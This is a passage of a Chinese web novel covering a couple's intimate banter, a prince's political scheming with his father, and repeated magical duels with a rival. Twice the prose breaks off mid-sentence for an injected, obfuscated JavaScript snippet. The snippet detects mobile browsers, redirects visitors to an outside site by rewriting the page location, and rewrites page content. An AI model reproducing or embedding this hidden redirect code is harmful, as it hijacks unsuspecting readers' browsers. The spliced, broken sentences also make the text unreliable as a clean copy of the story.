风宿恒环着栖真的手绕上来,无意识地拨弄她的耳垂,想了想道:“十岁出宫那年,是我第一次觉出百姓不像书上言,喜怒哀乐,悲欢离合,每个人的经历兴许对别人无足轻重,于他们自己却是一生。弱冠前,我一直在四处游走,接触了一些人,窥探着他们的想法和生活,尝试着怎么让他们按照我的意志行事。入大容前,真真你知道的,因为要攻城,我的心思便放到很多上位者身上,钻研这些人的行事和想法。可我发现,很多上位者根本德不配位,行事糜烂,能力不足,贪婪成性,妄自尊大……当然,若他们都完美,我也找不到下手的缝隙。可正因为我最后能把他们干掉,我才更觉得他们作为王者实在名不副实。我经常推演,若此地归我治下,我要如何规避风险。再之后就是入主大容,在治国一事上,五年里也没遇到什么大困难,但这一路来,我确实感受到你说的分羊而治与群羊而治的差别。被赶出宫后我是意识到了区分,到大容后我是认识到了整体。可适才听你这番话,我觉得自己做得远远不够,还有很多需要进益。” 栖真被他摸得痒,笑道:“阿畅啊,你呢,就是我们说的超级学霸。一张考倒所有人的天卷,到你手里都成了没什么大困难。考完了,你还很谦虚地说一句,还扣了几分,我还不够好,还得再学学,可是你要知道,这张卷子换个人来答,很可能交白卷,是一道题都答不出来的。” 风宿恒满眼促狭:“你又要说我凡尔赛?” 栖真道:“那会儿不知你怎么成长,口无遮拦,阿畅别怪。” 风宿恒缠她:“那你教我还能如何进益,你教了别人许多,怎不教教我呢?” 栖真被他缠地偏头躲,哈哈笑道:“叫一声师父就教你。” 风宿恒不乐意:“你叫一声师父,我就不行了。” “你这个人!”栖真怒目圆睁,想捶他。 怎奈风宿恒还在不正经:“定海神针嘛,就不能软。” “能伸能缩,细如猴毛。”栖真存心搓他。 风宿恒拉过她贴在猴毛上:“你一本正经说理时就不是猴毛了。瞧,能拿来打妖怪。”又想起什么,笑道:“你和柳絮回起那个什么三打白骨精的店名,心思不纯吧?” 栖真啊啊啊:“求你了,别说了,否则以后我都没法正视那店名了!” 风宿恒把她手规规矩矩放回去:“好的,白骨精。” 栖真……… 风宿恒变回正经人,赞道:“你成长得真快,我还以为你要消沉好久,这才大半个月,伤都没好,你到自己走出来了。” 他惊异,但并不奇怪。他的真真是什么样的人他向来清楚,就因为清楚,所以当栖真再次活成他心目中的样子时,他为她感到骄傲。 “就是我昨晚说的。”栖真道:“有你在身边啊。” 风宿恒的愧疚和难受,无论哪方面,她都看在眼里。他一难受,她就想变强大,想帮他,然后自己就悟通了。 逻辑很奇怪,又很简单。 栖真道:“你,我,都是强者,我们就在强者的道路上好好修炼。跌一跤爬起来,没什么大不了,后面还有很多事要做呢。” 至此,这起万仞山暴力事件,就被这位受害人定义成“跌一跤”,解决办法就是“爬起来”。 就此翻篇了。 风宿恒问:“若容绽和柳絮回不计前嫌,还想留下来一起做事,你觉得如何?” 栖真牵起唇角,了无笑意:“那很好啊。” 那自然是很好的,只是不可能了。她不敢奢望,因为她让他们彻底失望了。 风宿恒道:“你跟万叶飞说要好好想想营造之事,其实在等待?你想看看他们还会不会回来。他们回或不回,将决定这山头怎么造。” “哎,你。”栖真抗议:“看破不说破是大智慧,知道吗?” “我近墨者黑。”风宿恒捏她耳垂:“这本事你最会了。” 栖真两滴汗:“我那么讨人厌吗?” “是讨人爱啊。” 风宿恒觉得今天的吻都不够正式,附身给了一个很正式的吻,从唇上的轻吻,到缠绵的深吻,到最后的啄吻,足足亲了一炷香功夫。 “爱你。”风宿恒最后舔她唇,低喃。 191. 第 191 章 凌潇帝近来口干舌燥,身疲体乏,精力每况愈下,面对一个庞大的国家越发力不从心。 是顶级强者,否则当年不会在承乾坛上笑到最后,可一旦暴露病态,比普通人生病还糟糕。 凌潇帝不动声色,悄悄减少了处理政务的强度和去后宫的次数。 但今日他的恹恹得到治愈,心里的大疙瘩回来了,他准备好面对冲突,准备发泄,还有一些别的情绪,见到这块疙瘩就能满足。 可将近半个时辰的痛骂里,他像唱独角戏,座下人不还嘴,微笑倾听,不时来个嗯、哦、是吗,连他顺手捞起杯子润口,都是对方及时满上。 最后凌潇帝缓口气,重新审视大儿,尚未探明今日玩哪出,就听人语气诚恳道:“孩儿不孝,生死边缘走一遭,让父皇受累,过去只当父皇不喜儿臣,经此一役,才知父皇心中对儿臣仍然眷顾,我很开心。” 凌潇帝蹙眉,惊讶极了。 什么? 被骂得这般狠,他就说这个? 受累、眷顾、开心? 三十年没服过软的嘴,忽然蹦出这些词,让人不太习惯啊。 严苛的视线扫来,风宿恒却笑了一笑:“再世为人,总要有些长进。” 积年沉疴,点到为止。 风宿恒将复生真相,晚回原因细细述说,逻辑自恰,语气舒缓,让凌潇帝挑不出半点毛病。 看出父皇怨气已平,但面具带了多年,不容易脱,风宿恒并不在意,静静听他骂:“大容旧部就是缩头鸡,五年了还有余孽?自家院子都不扫干净,乐不思蜀只知酣睡!还是你眼瞎了,手断了?装死引出那前朝皇子,私下里就不会写信回来告知一声?当初你留一魂魄都没杀成他,如今把人困在大荒流,这人到底哪路神仙,非要你收归己用,连打声招呼的时间都没有?让寡人当着全朝臣工的面,听人上奏大皇子还活着,寡人面子往哪儿搁?” 风宿恒坐在下首微笑,甚至无聊到学某人掐合谷,等上头好不容易歇停才道:“过去想杀,是为着他不肯归降;如今把人困在大荒流,慢慢调教,总有让他低头一天。若前朝皇子都能归降,对大容,对辛丰是无往不利的好事。大容从此再无内患,而辛丰则多一个榜样,大可对外昭示我们优待敌手。有才者,不计前嫌,皆可奉为上宾。” 道理凌潇帝不省得,还要儿子教? 可风宿恒不会白来一趟,在老皇帝的白眼中好整以暇道:“那些儿臣打下的属地,说好献还辛丰,儿臣也不反悔,但父皇之前承诺大容的,也望做到。儿臣逢凶化吉,再得机会,自要好好治理国家,怎奈儿臣资历浅薄,打小不得国师教导,时有力不从心之感。众人拾柴火焰高,恳请父皇将燕台九州的夜忧、辰江属地的贺绪和缪东,大小三江的楼玉春抽调出来还于儿臣,那些官职可另觅他人接手,儿臣得这些人辅佐,也好把大容王的位子坐得稳当些。” 燕台九州的总兵夜忧、辰江属地的总兵贺绪,大小三江的镇将繆东和楼玉春,都是风宿恒逐年培植起来的人。 夜忧擅守,贺绪擅谋,繆东擅练兵,楼玉春擅工事,这些人分则各自为政,合则无坚不摧。 凌潇帝倏忽发现,当风畅那些弟弟们还在冥顽不灵、贪婪成性、嚣张跋扈、心胸狭窄……一个赛一个让他头痛时,大儿培养起来的人,已经一个赛一个让自己重用。 凌潇帝很想不明白,这个倔成牛的儿子,没得半分皇室庇荫,一路受着冷落和打压长大,把自己活成传奇也便罢了,他是怎么做到十多年里身边能人辈出,不仅各有所长,还个个对他忠心耿耿,坚贞不二的? 当初若非他自知命不久矣,才将这些人放在属地不动,托其坚守一方,凌潇帝都不知他培养出来的人居然如此好用。 如今他回来,要把自己人要回去也正常,可凌潇帝就是不痛快。 这人身边已有钟雄、倪煌和袁博,后来把聂灵鸢也调回去。 要那么多人做啥?不过治理一个小小的大容,需要那么多人才埋在一处? 风宿恒太了解凌潇帝,一看他表情,便道:“当然,此事不急。自从将这些地方交归辛丰,他们也算明榜明檄受封朝廷,改吃了皇粮,自然是要父皇定夺,儿臣只是想着有他们襄助,可以进一步扩充海业,开辟新镇,为大容开拓新气象。” “大才小用!”凌潇帝斥道:“他们镇守一方,也算封疆大吏,调回去给你做这些事?会不会用人?” 风宿恒面上浮现委屈:“不是无人可用了嘛。” 凌潇帝直接将他扫地出宫,最后道:“以后每月回来见寡人一次。” 风宿恒临走还愁眉苦脸,劝父皇将人还他,被赐了一个爽快的“滚”。 晚上和栖真说这出,却听栖真笑道:“算计你父皇呢?” 风宿恒心里打赌,想看栖真能否一语道破,面上自然要装纯良:“我不过想要自己人,怎能说算计?” 栖真道:“经这一出,你父皇再不会把人还你,不仅不会还,只怕还会笼络、会重用。” 风宿恒挑眉。 “听灵鸢说,你这些手下,皆是你挖于乡野,邂逅于市井,都是平民出身吧?他们是你的幕僚,不是家仆。过去效忠于你,是因为你给他们发工资,可自从你为保大容,把属地双手奉还辛丰,他们就成了辛丰臣子,是辛丰给他们发工资。他们心里是效忠你的,可真把他们挖来大容,除了能多发点银子,还能给他们更高的职位吗?管更大的属地吗?如果都做不到,就别考验人性,道理你肯定比我明白,所以你去找你父皇要人,根本就是另有所图。” 风宿恒似笑非笑:“我图啥?” 栖真眼睛一转:“你图…让他们立足辛丰朝堂,但进不了中枢。” 风宿恒被她一句话惊到。 栖真侧头想了会儿,做出类比:“用公司来做比喻,他们个个都是关联公司的领导,管得再好,都不在总公司,但你今天到董事长面前一通逼逼叨,董事长会想,你要这些人做什么?图谋不轨吗?都是人才啊,与其放给你,不如自己用,于是就有可能把他们调入总公司,这不正中你下怀?因为你原本图的就是在总公司安插人手,这就叫醉翁之意不在酒。” “可是呢,你又怕董事长对他们太好,好到后来把他们变成他的人了,那你岂非竹篮打水一场空?当然不行啊,所以你才在董事长面前执意把人讨回去,就是要告诉他,瞧,他们都是我的人,你别觊觎了,养不熟的。只要董事长心里被你扎了这根刺,他就用他们,又要防他们。调入总公司是真,但不会安排他们进入核心部门。” 风宿恒并不完全懂栖真说的总公司和关联公司这一套,但她想表达的意思他能领会,头疼地扶额道:“你怎么猜出来的?” “嗨!”栖真道:“你真心想把人要回来,是绝不会堂而皇之宣之于口的,什么‘众人拾柴火焰高,恳请父皇将人抽调出来,另觅他人接手’,这话多招摇,多找打啊!你真心想要,会让他们犯事,让他们成为弃子,你好顺理成章接手。你会一个个暗着调,绝不会一下子把所有人抽出来,这种粗放式的大开大合,不动脑筋的做法,不是你的风格。” 话落,她瞅着榻边的风宿恒,风宿恒也瞅着她。男人背光坐,双眸在阴影里黑沉沉,眸中划过危险的精光。 栖真乍惊,指尖挑起薄毯,盖住头面,在毯下瑟瑟发抖:“完了,把腹黑的帝王心术道出来,要被灭口了。” 风宿恒扯下薄毯,捏着下巴抬她脸,凶道:“非灭不可!” 说着把嘴堵上,把被全然道破的战栗化作惩罚,施在她身上。 还不过瘾。 心中的赌赢了,必得捞点奖励,于是搂过她细腰,将人侧身,一巴掌拍在她臀上,双唇分开的间隙道:“说你聪明,我都觉得是在辱没你。” 栖真挣不开,由他气息侵占,臀上被揍了两巴掌,那大手就开始揉啊捏啊,蹂/躏完一边换一边。 随着几声呜呜抗议,风宿恒才气息不稳地放开,双眼燃着幽邃的火苗,低喃道:“我要死,也是死在你手里。” “那是。”栖真屁股疼,虎着脸挑下巴:“命脉给了我,看我怎么捏死你。” 风宿恒便把命脉蹭她手心:“给你,捏啊。” “太硬。”栖真状似嫌弃:“我只挑软柿子捏。” “软不了,见到你就没软柿子。”风宿恒声音低哑:“真真,我不想忍了,我不想去洗了。” “不行、不要、不玩……”栖真大惊失色:“去洗澡!” 风宿恒直起身,一手撅住她下巴,分开她齿关:“先灭口。” 风宿恒很少欺负她的,这次真欺负了。 她说“帝王心术”,一点没错,那些心里的弯弯绕,很多时候都是见不得光、不能道破的。 从没人像她这般,纯澈如一汪清泉,叮玲几句,便将他的心机和城府破棉絮似地扯出来,摊到外面晒。 她把他件件扒光,他很欢迎;把他唰唰扒光,他不甘心。 纵使是他要她说的,纵使他心里都开着赌局,赌对家赢,可她真赢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732272|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是在挑战他的自尊。 作为一个惯常靠自己、多年掌大局的男人,那滋味真是甜中带酸,喜忧参半,全然以她为傲,私下还要“哎呀这可怎么办好”的矛盾。 这次欺负得有点狠,栖真没想到曾经心软开道缝,今日强盗踹了门,不仅抄家,还被加餐,最后被风宿恒小心翼翼扶起漱口时,泪水都止不住。 风宿恒沐浴完从净室出来,就见床上一具从头盖到底的薄毯,薄毯中央放着张纸。 他拿起一看,上书:此人已死,有事烧纸,今晚请滚,七日勿扰。 明显匆忙写就,字迹歪歪扭扭。 呵,本事了! 都能自个儿下地写字了?还口无遮拦咒自己死…… 风宿恒伸手进去,挠她脚底板,还焉儿坏,就挠她不能动的那条腿。 毯内的人另条腿把毯子往下扯,拉严实,上下压实,绝无缝隙。 “今晚请滚可以,七日勿扰不行。”风宿恒笑出声:“真真,我滚了啊。” 披衣走到门口,又回首:“真滚了啊。” 毯里伸出一只手,怒向门口指。 风宿恒关门出去。 山谷很大,对面山壁下竖了五间大帐,是给素青她们住的,如今袁博和万叶飞也各住一帐。谷里的守兵在四周安营扎寨,离长风破浪都很远。 风宿恒存心的,他不能让栖真的声音被人听去。 一声鼻音都不行。 况且戏还要演,他得替她注意分寸,绝不能让人看见有男人大晚上在她房中流连。风宿恒也好,阿畅也罢,都不行。 所以风宿恒闪回隔壁,先将“有事烧纸”叠好,藏进柜子上的木匣里。 里面有不少东西了,她写给他的情诗,他们玩的五子棋纸,栖真给他画的很多思维导图……幸亏当初在香满路这些纸片就藏在匣中,如今挖出来,里面的东西完好无损。 架子上还有好几个木匣,废墟中找出的纸片归类后放置其中,而架子最底层,则放着锁着栖真秘密的藤箱。 风宿恒没点火,就着黑暗上床打坐、思索。到月上中天,估摸着隔壁睡了,才偷偷溜回去。 长风蜡烛已熄,风宿恒蹑手蹑脚爬床,躺下,在身边人颊上蜻蜓点水,轻轻摸了摸头发,看着她的睡颜,心满意足就要闭眼。 黑暗中,却听身边幽声道:“阿畅,你想夺回辛丰太子之位是吗?” 风宿恒再次惊呆。 这……他自己都没想好的念头被人乍然道破,真让人惊悚啊! 风宿恒摸摸栖真耳朵,悄声反问:“真真想我当辛丰王吗?” 身边人侧首,黑目蒙上一层黯然:“风宿恒,我困在山上,你在乾都娶一堆女人?你还问我愿不愿意?” 风宿恒哭笑不得:“瞎说什么?就不可能。” 栖真不看他:“你当大容王是不可能,当上辛丰王,就说不准了。” 辛丰崇尚多娶,从上到下皆如此,这是传统,是习俗。习俗乃凌驾一切的君主,人间帝王往往也得低头。 可风宿恒随波逐流,她就去死;特立独行,则是逼他死。 “你觉得,我为何要当辛丰王?”风宿恒把她头转回,极慧之人也极敏感,大概他不在的这点时间里又在胡思乱想,手摸上去都冰了。 栖真低声:“因为万仞山离辛丰太近,因为你怕我将来做出点事,引外界觊觎,所以你要把大容和辛丰都握在自己手里。” 风宿恒素来未雨绸缪,只要涉及栖真,他就要去想一百个可能性,为她消除困厄,将主动权控于己手。 他已经疏忽一次,让人吃了苦头,吃一堑长一智,同样的错不能再犯,他需要更大的权利护她周全。 现下辛丰和大容并无矛盾,可谁能预测辛丰新帝继位后会怎样? 和栖真说话省力,风宿恒给她掖毯子:“做不做,不看多少困难在前,要看做了得多少益处,不做有多少害处。” 栖真扁扁嘴:“益处给了我,害处留给你。” 风宿恒在黑暗中对上她的眼:“你就是我,我就是你。” 栖真默然。 “别想那么多,才起个头,我都没定论呢。” 他又要亲亲她了,他最喜欢亲亲她了,风宿恒在栖真颊边轻啄,低喃着寻她的唇:“你担心的事恰恰最不用担心,我怎会要别人呢?人不能背叛自己的信仰,信仰丢了,就没活头了。” 都没定论呢,已经着手往朝廷里插人了……栖真心中叹息,侧头和他蹭了蹭。 192. 第 192 章 风宿恒有意晾着容绽。 去完乾都又过了好几日,每日听袁博禀报容绽动向。 其实也没什么动向,容绽还在山下,仿佛不见栖真一面就把山底坐穿。 万叶飞把护理床做出来让栖真试用,一摇手柄,上半张床直起,栖真终于能靠着起身,高兴地开始和万叶飞畅想轮椅的改进。阿畅在旁稍陪,见她笑颜,悄悄退出。 下到山道口,就是大容王的样子了。 果不其然,容绽还在等。 不知道的真会以为这人第一天站在这里,即便等待,也不坐不靠,背手而立,仿佛面前是锦绣山河巍峨壮丽。 没必要吧!风宿恒想,这男人一辈子就这么一本正经了?他是不是永远不可能被人看到东倒西歪的样子? 纵使对容绽诸多猜疑,需要更多试探,但在下山见他的这一刻,风宿恒心里掠过莫名的确定。 容绽不会伤害栖真。 有些事交托于他,可以放心。 这很好笑。 有时要得认可,不在于一个人做了什么说了什么,往往只因极小的细节,认可便不期而至。 当然,风宿恒面上是不会承认的,任道旁守兵口称陛下,恭敬行礼。 阑珊这几日陪着容绽,一直靠山而坐,此刻唰地站起,两步抢到容绽身前,面对风宿恒,姿态敌对,严阵以待。 阑珊知道自己主子一直在等,兴许是山上一个允许,或阿畅一句传音,但没想到大容王亲自来见,他就慌了手脚。 阑珊是认识风宿恒的。 当年他跟在容绽身边,也曾和假扮容聘的风宿恒相处过,一起去渝水行宫参过水边祭仪,一起去神明大宫冒过险。 那时的风宿恒为了贴近容聘,是善谈的、热情的,对人友好,还会在沙滩上烤鱼。 与如今站在面前不苟言笑、让人畏惧、威仪凛然的王者截然不同。 就听风宿恒开口道:“听说你一直等在山下,何事相求?” 容绽抬手拍阑珊,示意他退开,对风宿恒道:“我想见栖真。” 容绽目不能视,阑珊却见到风宿恒盯着容绽的白发看了几眼,兴许也在好奇为何他一夜白头,但风宿恒什么都没问,阑珊就明白了,大容王根本不把手下败将放在心上,自然不用费这口舌。 风宿恒不置可否,只是道:“当年我取你神识,你又修出来了,上次打得不尽兴,再来打过。” 容绽对上风宿恒,新仇旧恨难消,对方相邀动手,自不会拒绝。 风宿恒率先往戈壁去,容绽也跟上,两人还挺默契,都不想破坏如今山门前植下的树和留着的人。 到荒无人烟处,风宿恒一挥手:“拏风。” 金光闪闪的巨弓立时现在其手。 深蓝色的水鞭悬河在容绽周身舞动,容绽瞬间将神识提到最强,向风宿恒攻去。 鞭影缭乱,水势凛冽惊人,水鞭尽头泛着寒芒的冰刃击在风盾上,冰屑四溅。容绽能感知十丈开外能量正炽,冒着蓝焰的风盾随他攻击态势的强弱也变得或大或小,但无论是大是小,都不超过臂长。 这应该是风宿恒风盾的极限,换句话说,只要他的悬河够强就能击碎它,只要悬河够快,就能绕过它,击中盾后人。 是的,只要他更强、更快。 当年雷霆大境中,风宿恒以水盾相抵,那时用的容聘神识,根本挡不住悬河进攻。 现下这风盾源于风宿恒自身实力,容绽恨不得击穿法力层,将后面施法之人狂抽一顿,恨当年雷霆大境手下留情,只不咸不淡抽了风宿恒九下,如今抽上九千九百九十九下,都难消他心头之恨。 他耳听为实,配合着神识为他开的心眼,竭力找寻对面破绽。 但此时,对面已经抓住了他的破绽。 进攻和防御是相悖的,把精力全数放在进攻上,那一瞬间开出的防御盾,便聚拢不到最多的法力。 所以在容绽又一波冰刃刺出之际,上百弩风箭排山倒海般袭来,逼容绽开水盾,回撤悬河防御。 这是法力强度上的硬碰硬。 九十九把弩风箭前赴后继攻在水盾上,容绽咬牙硬顶,可盾在密如细雨的风箭下出现皲裂,终于,第一百支风箭破盾,在容绽右臂拉出一蓬血,消失在空中。 这不代表对峙的结束,风宿恒看到容绽负伤,反而攻势更猛。 而容绽,也根本不要他手下留情。 若说他对栖真的恨意还有转换和消解的余地,面对风宿恒这个侵略者,那就是正正经经的敌人,是一丝一毫都不可能转圜的。 容绽不再固守攻击,他散乱自己的位置,用飞速的冰刃搅乱风宿恒的注意。两具身形在空中快速交换阵地,随他们擦肩而过的,是躲在冰刃后水花飞溅的悬河,视线只有碍事,容绽靠听,便可让悬河直击要害。当他利用迷障般的身形让对方琢磨不透时,就是在一点一点压缩两人间的距离。 受伤的手臂好像根本没有影响容绽挥舞悬河,这点疼痛与他曾经受过的痛,与他心中所有的仇恨相比又算什么。容绽抓住风宿恒气息转换的当口,悬河也学着弩风的群攻,化作百来支冰刃,但与风宿恒不同,纵使大部分的冰刃向风盾攻去,却有那么一股软水,悄无声息绕过风盾,化作指长般的尖刺,向风宿恒胸口刺去。 容绽预判能得手,可在他分心关注那股真正的攻势时,一阵让人窒息的狂风吹到面门,瞬间将他吹得颠三倒四,一巴掌扇到一里外。 风宿恒手里颠着那把偷袭用的冰刺,当着重回战场的容绽面,随手扔掉。 他看着因倒栽戈壁而灰头土脸的容绽,道:“和大容时相比,你确实进益不少,但你一直想要打败我,就永远不可能打败我。” 容绽冷然问:“那我怎么才能打败你?” 这话问得实在有点愣,愣得风宿恒都想发笑,便也认真回答:“想你自己。” 打架时不想敌人,不想怎么破解对方招数,居然让他想自己? 自己有什么好想? 我还不了解自己吗? 容绽用衣袖擦了把眼,适才有沙子硌在睫毛上,冷道:“再打!” 两人足足在戈壁打了一下午,容绽这句“再打”也说了不止一次。 期间他被扇到沙漠五次,被弩风箭射中三次,最气人的是风宿恒还笑话他水系法术就是没风系法术厉害,对付你用水系法术就可以,然后祭出和悬河一样的水鞭裁云,用和悬河一样的招数,在容绽水盾来不及起时,上百冰刃就把他割得体无完肤。 容绽倒在戈壁,浑身浴血,风宿恒走近用疗愈术,看着无数割伤、擦伤、穿透伤在掌下一一消去。 容绽一时半会儿瘫软地站不起来。 风宿恒恶劣地拍拍他肩:“一下午玩得挺愉快,明日再打。” 说完,像个玩够的纨绔,扬长而去。 容绽只知周围没了声音,他愤恨地捏拳爬起,站在戈壁里沉默以对。 这就是差距! 过去实战经验太少,现下又刚入全尽,能和风宿恒这种天下少有的强者打一下午还留了口气,实属不易。 但容绽不会觉得这是他的极限,他脑中根本没有这种东西。在戈壁盘腿坐下时,他脑海里闪现的全是一下午和风宿恒对战的过程和片段。 他内心隐隐焦灼,那是抛开仇恨和挂碍,不再耽于所求,被强敌凌虐后有所得的兴奋。 纯属武者的兴奋! 他像一尾池塘中的游鱼,终于跟着水流寻到豁口,进入大江大河,虽然瞬间被猛烈的急浪冲垮,但毕竟入了一片更为宏大的天地。 阑珊找来时他也不回去,反正看不见,坐帐中和坐戈壁于他没有差别,他只是让阑珊不要打扰,独自坐到月上中天——套一个栖真一直用的词,复盘——他在脑中不断复盘整场对峙,起码在过程中找到十二处可以做得更好的地方。若这些瞬间他能更快更强,兴许就能削掉风宿恒一片衣角。 是的,经过复盘,容绽彻底认清一个事实——凭他现下实力,别说打败风宿恒,近身抽他一鞭只怕都做不到。 因为风宿恒的呼吸太稳。 这一下午,他们打了整整一下午,对面绵长的呼吸就没乱过一分。 换句话说,以风宿恒之深不可测,他根本连他的边界都没摸到。 ………… 风宿恒深不可测是事实,但容绽以为自己连他边界都没摸到,却是想岔了。 至少一开始,风宿恒是在认真应对的,只不过容绽体力不及他,越往后,越是只有被他削的份。 临睡前,栖真问风宿恒今天做什么了,挺累的样子? 风宿恒亲亲她,温声聊了会儿天,便回隔壁睡。 第二日,栖真就乖乖让人把原本的床给搬了回来。 护理床再好,却是单人床,当初让万叶飞画图纸时就没想这茬,完全照现代样式设计。 她是睡舒服了,她男人没地方睡了。 这栖真可受不了。 小木屋放不下两张床,换来换去也麻烦,所以最后栖真还是把木床要回来,把护理床放到门外的平台上,只说出去晒太阳时躺,也算给辛辛苦苦做床的万叶飞一个交代。 风宿恒昨日见护理床的第一眼就不乐意,但看栖真喜欢,又是她让万叶飞做的,便不动声色,随她说好。没想到才一日,栖真自己就给推翻了,他心里舒坦了,还要跟栖真惋惜几句,说看看能不能做个再大些的护理床。 风宿恒心里美,却一点不影响他下午找容绽时继续心狠手辣,和昨日比有过之而无不及。 若说昨日还以试探为主,今天就多了抽死你不偿命的狠厉,只要容绽还留一口气,怎么下狠手怎么来。 所以这天只打了半个时辰,容绽就彻底站不起来,他吐血昏厥前甚至怀疑,要复仇的是不是风宿恒?被侵略、被搞到家破人亡,拼命要报仇的,是不是风宿恒? 所以半个时辰才会一口气没给他留,全然狂风暴雨般猛烈攻势,若非戈壁上不如沙漠里沙多,风宿恒大概恨不得用风沙把他活埋。 这样野蛮,这样凶狠! 得疗愈术治愈,知道对手已经离开后,容绽又在戈壁里坐到三更。 兴奋却比昨日更甚。 若说昨日他还陷在迷雾,为乍入江河迷茫,那么今日他终于有些破开迷障,似乎看清了江河全貌。 当风宿恒下手不再保留,他才能揣测他和他的差距到底有多少。 可到了第三日,容绽想在风宿恒身上验证这种差距时,又陷入强烈的迷惘。 他以为对方应该差不多在那个份上,结果风宿恒一招四海承风,让戈壁里下起沙雨,居然硬生生把他活埋进徒然而起的沙山里。 最后被挖出来准备再打过时,风宿恒却道:“不打了,你还是没有想你自己。” 容绽任由满头沙往下流,坐在沙山上喘气,根本不想说话。 风宿恒却在一旁状似闲聊地问:“你怎么会和栖真搭在一起?” 这样打了三天,容绽对风宿恒更恨,恨不得扒他皮抽他筋,但说话到底少了顾忌和疏离:“只许你和栖真搭在一起?” “嘿。”风宿恒又想刮他了:“是你有求于人,明不明白?” 容绽拍掉头上的沙,语气冰冷:“我和栖真相识于万仞山,我们一起教书,一起造房,一起开店。你这个强盗,出现就毁人家园,两次了!” 风宿恒两手交握,指骨嘎啦脆响:“你和她一起教书,一起建造,一起开店,你混蛋胞弟还伙同人把她揍成这样?” 容绽道:“那是个意外。” 风宿恒大手一挥:“管你什么意外,栖真以后就是本王的人,你动她一根寒毛,本王就砍了你,还有容聘、阑珊,那些九部相,一个都不放过。” 容绽快速起身:“什么叫你的人?你的什么人?” 风宿恒:“关你屁事!你就说,你要见栖真做甚?” “有何做甚?我们原本就是一家人。”容绽道:“是你拦着不让见。” “你们是一家人?”风宿恒心里大骂一声:“孤怎不知你们成了一家人?” 容绽道:“风畅,你独断专行,只知逼栖真为你效力,根本不管她真正所求,你断她羁绊,将她的人全数赶走,可你不知吗?你要她做的事,得人心甘情愿才行。我们在,她就有羁绊,我把自己作为把柄给你,你怎这般冥顽不灵?” 我去,这什么理?容绽为了留下,竟能对他说出这种话? “你让我以你为把柄威胁栖真,让她就范?”风宿恒有点不敢相信。 没有他们,风宿恒也会威胁栖真,逼她就范。上次阿畅点醒他,世人逐利,要说服他们,不能站在自己角度,得让对方明白能得何利。 容绽看不见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13736654|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此刻风宿恒古怪的表情,他明了所有自己留下大容王能得的益处,但他说不出口,也没必要说,能说出上面这条已是极限。 风宿恒眯了眯眼,看着容绽转头面对的样子,忽然明白过来。 容绽在跟他耍心眼,他根本就是在刺探他和栖真之间的虚实。 大容王若和栖真好了,听了这话该暴跳如雷,怎么可能同意让别的男人去见? 若大容王和栖真没私情,听了这话则该骤然欣喜,当初是因为答应栖真才把他们这些人质放回大容,如今容绽自愿回来,大容王就该立刻放他上山,抓着他和栖真互为钳制。 风宿恒道:“容绽,你是识时务的,你弟弟却不安分,这几年他隐在幕后组建势力,没少给朝堂下绊,你既然上杆子要投山,想来容聘也投鼠忌器,本王从此安枕无忧。” 容绽皱眉,一时无言。 山上出事后,他和容聘就没怎么说过话。那段时间承受太多,不得不让自己变得麻木,那种麻木是他给自己留下的体面和余地,也是对容聘的保护。 否则怎么办? 责怪容聘? 怪他当年任性地不告而别而置国家覆灭?怪他不分青红皂白为栖真招来横祸? 再怎么样,血浓于水,他都是他的同胞兄弟,留存于世唯一的血亲。 在容绽心中自责到无以复加的同时,对容聘的冷漠,已是他为着亲情,对弟弟最好的温柔。 所以兄弟俩至今没好好坐下来深聊过。 容绽只听容聘说他有个寨子,手底下有些人,可以护他们周全,但他不知容聘早已改旗易帜,以大神王的名义和风宿恒公开叫板,成了如今朝中必要擒拿的反贼。 是以此刻听风宿恒所言,他忽然发现是不是有什么容聘的事他不知道? 风宿恒是在用这句话告诉他,谁跟你一样那么在乎栖真?你自己送上门,就能成为我对容聘的钳制。 飞蛾扑火,扑得好! 容绽这么理解风宿恒的话,是因为他压根不知风宿恒看似在他面前言之凿凿,其实并未确证容聘便是大神王。 风宿恒此话不过一箭双雕,即在混淆他的刺探,又想从他口中探得其弟真相。 谁知容绽一时不搭腔了。 风宿恒看着他,便也不言了。 这样也好,若容绽之前没想过留下会对容聘有什么影响,自己也算点过他,他还执意留,就是对栖真或梦想真执着。 当晚回山,风宿恒便和栖真说了容绽想留的事。 栖真惊喜,连声问这怎么可能? 风宿恒道:“我也很想知道他为何这般决定,明日你自个儿问吧,但说好,这次得我作陪,不许赶我出去。” 栖真像中了头彩,高兴傻了,自然他说什么便是什么。 隔日,阿畅亲自把容绽请上山。 这是容绽获知真相后和栖真第一次再见,为了别像上次那样把栖真激得情难自抑,风宿恒特意拖到昨晚才告知,谁知今日发现,纯属多此一举。 因为他们见面的过程十分平静。 栖真见容绽白头时确实大吃一惊,容绽却不做任何解释,神色如常道:“前事不必再提,如过去一般便好。” 仿佛那些血海深仇在他这句轻飘飘的言语里全成过眼云烟,仿佛从前让人挂怀的愧疚和深情也都悉数翻篇,他缓缓跟栖真商量山头的重建和可能宫的未来。 “宫主来处必须保密,这关乎万仞山安危,不可让旁人探知,即便亲近之人也不易宣之于口,亲近之人也有亲近之人,秘密素来这般口口相传,再不成秘密。” “教什么,怎样教,宫主来定。原意或文本无需更改,如何普世我们可以再行商榷。《声律启蒙》、《西游记》和《佳文观止》的稿被毁了,等你康复再写给我,或直接口述都行。” 一桩桩,都是要把未竟之事捡起,继续推进下去。 